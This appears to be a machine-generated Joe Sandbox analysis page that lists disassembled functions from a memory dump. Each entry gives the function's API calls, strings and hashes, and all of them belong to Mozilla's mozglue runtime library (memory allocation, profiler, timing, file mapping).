Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction ID: cc99c5c77600d26ef2be13eca573c25623f929f90bd9dbf0f00d6d2fa080d3d4
Opcode Fuzzy Hash: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction Fuzzy Hash: 95519170A087449BD710EF2CC58169AFBF0BF8A308F008E2DE9D5A7651E771D9858B5B

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

kernel32.dll, xrefs: 6C6534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C653508

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C669620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

MapViewOfFileNuma2, xrefs: 6C6697B1
ntdll.dll, xrefs: 6C6696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
NtMapViewOfSection, xrefs: 6C669701

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C6A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C6A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6A0041
GetCurrentThreadId.KERNEL32 ref: 6C6A0075
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C6A0090
free.MOZGLUE(?), ref: 6C6A0104
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C6A005B

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction ID: 7e6e514935adee0641d6f1f8b256edd75366cfb438b1d6f785e6d5037f67f481
Opcode Fuzzy Hash: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction Fuzzy Hash: 17417E755006459FCB10CF66C880A9ABBF1FF8A318F44491DE95A83B51D731BC16CBAE

Function 6C667E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C667EA7
malloc.MOZGLUE(00000001), ref: 6C667EB3

Part of subcall function 6C66CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C66CB49
Part of subcall function 6C66CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C66CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C667EC4
mozalloc_abort.MOZGLUE(?), ref: 6C667F19
malloc.MOZGLUE(?), ref: 6C667F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C667F4D

Strings

d, xrefs: 6C667F89

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction ID: e830ebfc37e3d5da22a8c8654ceb0f7c4ca94ed4ed5000a78e94d46f495ec9d3
Opcode Fuzzy Hash: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction Fuzzy Hash: 4C312A61E0438897DB009B2ACC449FEF778EF96308F045229DD4997612FB30B6C8C399

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C652030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C673F47,?,?,?,6C673F47,6C671A70,?), ref: 6C65207F
memset.VCRUNTIME140(?,000000E5,6C673F47,?,6C673F47,6C671A70,?), ref: 6C6520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C673F47,6C671A70,?), ref: 6C65211A
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C673F47,6C671A70,?), ref: 6C6521BA
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C6521E0
LeaveCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652232

Strings

MOZ_CRASH(), xrefs: 6C65227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C652253, 6C652268

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction ID: 7e36738cd544deb886a7857f14d62307f3bb1c14c81ea5c6fc06f313dd50c072
Opcode Fuzzy Hash: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction Fuzzy Hash: A861E431F042168FCB14CE69C889B6E77B1AF85318F794239E624A7B94D770A810CB99

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
